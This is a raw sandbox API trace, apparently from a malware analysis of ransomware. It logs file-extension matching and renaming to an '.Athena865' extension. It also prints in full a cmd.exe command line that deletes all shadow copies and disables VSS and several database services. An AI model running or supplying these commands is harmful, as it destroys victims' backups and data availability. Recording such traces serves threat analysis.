lpString2="avhd") returned -1 [0153.276] lstrlenW (lpString="db") returned 2 [0153.276] lstrcmpiW (lpString1="ML", lpString2="db") returned 1 [0153.276] lstrlenW (lpString="db2") returned 3 [0153.276] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1 [0153.276] lstrlenW (lpString="db3") returned 3 [0153.276] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1 [0153.276] lstrlenW (lpString="dbf") returned 3 [0153.276] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1 [0153.276] lstrlenW (lpString="mdf") returned 3 [0153.276] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1 [0153.276] lstrlenW (lpString="mdb") returned 3 [0153.276] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1 [0153.276] lstrlenW (lpString="sql") returned 3 [0153.276] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1 [0153.276] lstrlenW (lpString="sqlite") returned 6 [0153.276] lstrcmpiW (lpString1="ET.XML", lpString2="sqlite") returned -1 [0153.276] lstrlenW (lpString="sqlite3") returned 7 [0153.276] lstrcmpiW (lpString1="NET.XML", lpString2="sqlite3") returned -1 [0153.276] lstrlenW (lpString="sqlitedb") returned 8 [0153.276] lstrcmpiW (lpString1=".NET.XML", lpString2="sqlitedb") returned -1 [0153.276] lstrlenW (lpString="xml") returned 3 [0153.276] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0 [0153.276] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.Athena865") returned 88 [0153.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml.athena865"), dwFlags=0x1) returned 1 [0153.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PACBELL.NET.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0153.278] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=812) returned 1 [0153.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0153.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0153.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 Thread: id = 7 os_tid = 0xa9c Thread: id = 8 os_tid = 0xb24 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4e093000" os_pid = "0xa7c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x9e0" cmd_line = "C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0xa80 [0033.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x23fdbc | out: lpSystemTimeAsFileTime=0x23fdbc*(dwLowDateTime=0xbc0add80, dwHighDateTime=0x1d575b6)) [0033.696] GetCurrentProcessId () returned 0xa7c [0033.696] GetCurrentThreadId () returned 0xa80 [0033.696] GetTickCount () returned 0x1143e87 [0033.696] QueryPerformanceCounter (in: lpPerformanceCount=0x23fdb4 | out: lpPerformanceCount=0x23fdb4*=15400161334) returned 1 [0033.697] GetModuleHandleA (lpModuleName=0x0) returned 0x4a3e0000 [0033.697] __set_app_type (_Type=0x1) [0033.697] __p__fmode () returned 0x74eb31f4 [0033.698] __p__commode () returned 0x74eb31fc [0033.698] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a4021a6) returned 0x0 [0033.698] __getmainargs (in: _Argc=0x4a404238, _Argv=0x4a404240, _Env=0x4a40423c, _DoWildCard=0, _StartInfo=0x4a404140 | out: _Argc=0x4a404238, _Argv=0x4a404240, _Env=0x4a40423c) returned 0 [0033.698] GetCurrentThreadId () returned 0xa80 [0033.699] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa80) returned 0x60 [0033.699] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0033.699] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f [0033.699] SetThreadUILanguage (LangId=0x0) returned 0x409 [0033.699] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0033.699] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x23fd4c | out: phkResult=0x23fd4c*=0x0) returned 0x2 [0033.699] VirtualQuery (in: lpAddress=0x23fd83, lpBuffer=0x23fd1c, dwLength=0x1c | out: lpBuffer=0x23fd1c*(BaseAddress=0x23f000, AllocationBase=0x140000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0033.699] VirtualQuery (in: lpAddress=0x140000, lpBuffer=0x23fd1c, dwLength=0x1c | out: lpBuffer=0x23fd1c*(BaseAddress=0x140000, AllocationBase=0x140000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0033.700] VirtualQuery (in: lpAddress=0x141000, lpBuffer=0x23fd1c, dwLength=0x1c | out: lpBuffer=0x23fd1c*(BaseAddress=0x141000, AllocationBase=0x140000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0033.700] VirtualQuery (in: lpAddress=0x143000, lpBuffer=0x23fd1c, dwLength=0x1c | out: lpBuffer=0x23fd1c*(BaseAddress=0x143000, AllocationBase=0x140000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0033.700] VirtualQuery (in: lpAddress=0x240000, lpBuffer=0x23fd1c, dwLength=0x1c | out: lpBuffer=0x23fd1c*(BaseAddress=0x240000, AllocationBase=0x240000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0033.700] GetConsoleOutputCP () returned 0x1b5 [0033.700] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a404260 | out: lpCPInfo=0x4a404260) returned 1 [0033.700] SetConsoleCtrlHandler (HandlerRoutine=0x4a3fe72a, Add=1) returned 1 [0033.700] _get_osfhandle (_FileHandle=1) returned 0x7 [0033.700] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0033.700] _get_osfhandle (_FileHandle=1) returned 0x7 [0033.700] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a4041ac | out: lpMode=0x4a4041ac) returned 1 [0033.700] _get_osfhandle (_FileHandle=1) returned 0x7 [0033.700] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0033.700] _get_osfhandle (_FileHandle=0) returned 0x3 [0033.700] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a4041b0 | out: lpMode=0x4a4041b0) returned 1 [0033.701] _get_osfhandle (_FileHandle=0) returned 0x3 [0033.701] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0033.702] GetEnvironmentStringsW () returned 0x552c60* [0033.702] GetProcessHeap () returned 0x540000 [0033.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xaca) returned 0x553738 [0033.702] FreeEnvironmentStringsW (penv=0x552c60) returned 1 [0033.702] GetProcessHeap () returned 0x540000 [0033.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x551898 [0033.702] GetEnvironmentStringsW () returned 0x552c60* [0033.702] GetProcessHeap () returned 0x540000 [0033.702] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xaca) returned 0x554210 [0033.702] FreeEnvironmentStringsW (penv=0x552c60) returned 1 [0033.702] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x23ecbc | out: phkResult=0x23ecbc*=0x68) returned 0x0 [0033.702] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x0, lpData=0x23ecc8*=0x0, lpcbData=0x23ecc0*=0x1000) returned 0x2 [0033.702] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x4, lpData=0x23ecc8*=0x1, lpcbData=0x23ecc0*=0x4) returned 0x0 [0033.702] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x0, lpData=0x23ecc8*=0x1, lpcbData=0x23ecc0*=0x1000) returned 0x2 [0033.702] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x4, lpData=0x23ecc8*=0x0, lpcbData=0x23ecc0*=0x4) returned 0x0 [0033.702] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x4, lpData=0x23ecc8*=0x40, lpcbData=0x23ecc0*=0x4) returned 0x0 [0033.702] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x4, lpData=0x23ecc8*=0x40, lpcbData=0x23ecc0*=0x4) returned 0x0 [0033.703] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x0, lpData=0x23ecc8*=0x40, lpcbData=0x23ecc0*=0x1000) returned 0x2 [0033.703] RegCloseKey (hKey=0x68) returned 0x0 [0033.703] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x23ecbc | out: phkResult=0x23ecbc*=0x68) returned 0x0 [0033.703] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x0, lpData=0x23ecc8*=0x40, lpcbData=0x23ecc0*=0x1000) returned 0x2 [0033.703] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x4, lpData=0x23ecc8*=0x1, lpcbData=0x23ecc0*=0x4) returned 0x0 [0033.703] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x0, lpData=0x23ecc8*=0x1, lpcbData=0x23ecc0*=0x1000) returned 0x2 [0033.703] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x4, lpData=0x23ecc8*=0x0, lpcbData=0x23ecc0*=0x4) returned 0x0 [0033.703] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x4, lpData=0x23ecc8*=0x9, lpcbData=0x23ecc0*=0x4) returned 0x0 [0033.703] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x4, lpData=0x23ecc8*=0x9, lpcbData=0x23ecc0*=0x4) returned 0x0 [0033.703] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x23ecc4, lpData=0x23ecc8, lpcbData=0x23ecc0*=0x1000 | out: lpType=0x23ecc4*=0x0, lpData=0x23ecc8*=0x9, lpcbData=0x23ecc0*=0x1000) returned 0x2 [0033.703] RegCloseKey (hKey=0x68) returned 0x0 [0033.703] time (in: timer=0x0 | out: timer=0x0) returned 0x5d8ee409 [0033.703] srand (_Seed=0x5d8ee409) [0033.703] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n" [0033.703] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c @echo off\r\nvssadmin delete shadows /all /quiet\r\nsc config browser\r\nsc config browser start=enabled\r\nsc stop vss\r\nsc config vss start=disabled\r\nsc stop MongoDB\r\nsc config MongoDB start=disabled\r\nsc stop SQLWriter\r\nsc config SQLWriter start=disabled\r\nsc stop MSSQLServerOLAPService\r\nsc config MSSQLServerOLAPService start=disabled\r\nsc stop MSSQLSERVER\r\nsc config MSSQLSERVER start=disabled\r\nsc stop MSSQL$SQLEXPRESS\r\nsc config MSSQL$SQLEXPRESS start=disabled\r\nsc stop ReportServer\r\nsc config ReportServer start=disabled\r\nsc stop OracleServiceORCL\r\nsc config OracleServiceORCL start=disabled\r\nsc stop OracleDBConsoleorcl\r\nsc config OracleDBConsoleorcl start=disabled\r\nsc stop OracleMTSRecoveryService\r\nsc config OracleMTSRecoveryService start=disabled\r\nsc stop OracleVssWriterORCL\r\nsc config OracleVssWriterORCL start=disabled\r\nsc stop MySQL\r\nsc config MySQL start=disabled\r\n" [0033.704] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a405260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.704] GetProcessHeap () returned 0x540000 [0033.704] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x210) returned 0x554ce8 [0033.704] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x554cf0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0033.705] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a410640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0033.705] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a410640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0033.705] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a410640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0033.705] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0033.705] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0033.705] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0033.705] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0033.705] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0033.705] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0033.705] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0033.705] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0033.705] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0033.705] GetProcessHeap () returned 0x540000 [0033.705] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x553738 | out: hHeap=0x540000) returned 1 [0033.705] GetEnvironmentStringsW () returned 0x552c60* [0033.705] GetProcessHeap () returned 0x540000 [0033.705] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xae2) returned 0x5559f0 [0033.705] FreeEnvironmentStringsW (penv=0x552c60) returned 1 [0033.705] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a410640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.705] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a410640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0033.706] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0033.706] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0033.706] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0033.706] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0033.706] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0033.706] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0033.706] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0033.706] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0033.706] GetProcessHeap () returned 0x540000 [0033.706] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x54) returned 0x5407f0 [0033.706] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x23fa88 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.706] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x23fa88, lpFilePart=0x23fa84 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x23fa84*="Desktop") returned 0x25 [0033.706] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0033.706] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x23f804 | out: lpFindFileData=0x23f804*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x552ae0 [0033.706] FindClose (in: hFindFile=0x552ae0 | out: hFindFile=0x552ae0) returned 1 [0033.706] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x23f804 | out: lpFindFileData=0x23f804*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x552ae0 [0033.706] FindClose (in: hFindFile=0x552ae0 | out: hFindFile=0x552ae0) returned 1 [0033.706] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0033.706] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x23f804 | out: lpFindFileData=0x23f804*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbbee4d00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x552ae0 [0033.706] FindClose (in: hFindFile=0x552ae0 | out: hFindFile=0x552ae0) returned 1 [0033.707] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0033.707] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0033.707] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0033.707] GetProcessHeap () returned 0x540000 [0033.707] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5559f0 | out: hHeap=0x540000) returned 1 [0033.707] GetEnvironmentStringsW () returned 0x554f00* [0033.707] GetProcessHeap () returned 0x540000 [0033.707] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xb36) returned 0x555a40 [0033.707] FreeEnvironmentStringsW (penv=0x554f00) returned 1 [0033.707] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a405260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.707] GetProcessHeap () returned 0x540000 [0033.707] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5407f0 | out: hHeap=0x540000) returned 1 [0033.707] GetProcessHeap () returned 0x540000 [0033.707] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x400e) returned 0x556580 [0033.707] GetProcessHeap () returned 0x540000 [0033.707] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x6de) returned 0x5537a0 [0033.707] GetProcessHeap () returned 0x540000 [0033.707] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x556580 | out: hHeap=0x540000) returned 1 [0033.707] GetConsoleOutputCP () returned 0x1b5 [0033.708] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a404260 | out: lpCPInfo=0x4a404260) returned 1 [0033.708] GetUserDefaultLCID () returned 0x409 [0033.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a404950, cchData=8 | out: lpLCData=":") returned 2 [0033.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x23fbc8, cchData=128 | out: lpLCData="0") returned 2 [0033.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x23fbc8, cchData=128 | out: lpLCData="0") returned 2 [0033.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x23fbc8, cchData=128 | out: lpLCData="1") returned 2 [0033.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a404940, cchData=8 | out: lpLCData="/") returned 2 [0033.708] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a404d80, cchData=32 | out: lpLCData="Mon") returned 4 [0033.709] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a404d40, cchData=32 | out: lpLCData="Tue") returned 4 [0033.709] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a404d00, cchData=32 | out: lpLCData="Wed") returned 4 [0033.709] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a404cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0033.709] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a404c80, cchData=32 | out: lpLCData="Fri") returned 4 [0033.709] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a404c40, cchData=32 | out: lpLCData="Sat") returned 4 [0033.709] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a404c00, cchData=32 | out: lpLCData="Sun") returned 4 [0033.709] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a404930, cchData=8 | out: lpLCData=".") returned 2 [0033.709] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a404920, cchData=8 | out: lpLCData=",") returned 2 [0033.709] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0033.710] GetProcessHeap () returned 0x540000 [0033.710] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20c) returned 0x541050 [0033.710] GetConsoleTitleW (in: lpConsoleTitle=0x541050, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0033.710] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0033.710] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92 [0033.710] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0033.710] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d [0033.711] GetProcessHeap () returned 0x540000 [0033.711] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x400a) returned 0x556580 [0033.711] GetProcessHeap () returned 0x540000 [0033.711] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x556580 | out: hHeap=0x540000) returned 1 [0033.711] GetProcessHeap () returned 0x540000 [0033.711] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x58) returned 0x541268 [0033.712] _wcsicmp (_String1="echo", _String2=")") returned 60 [0033.712] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0033.712] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0033.712] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0033.712] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0033.712] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0033.712] 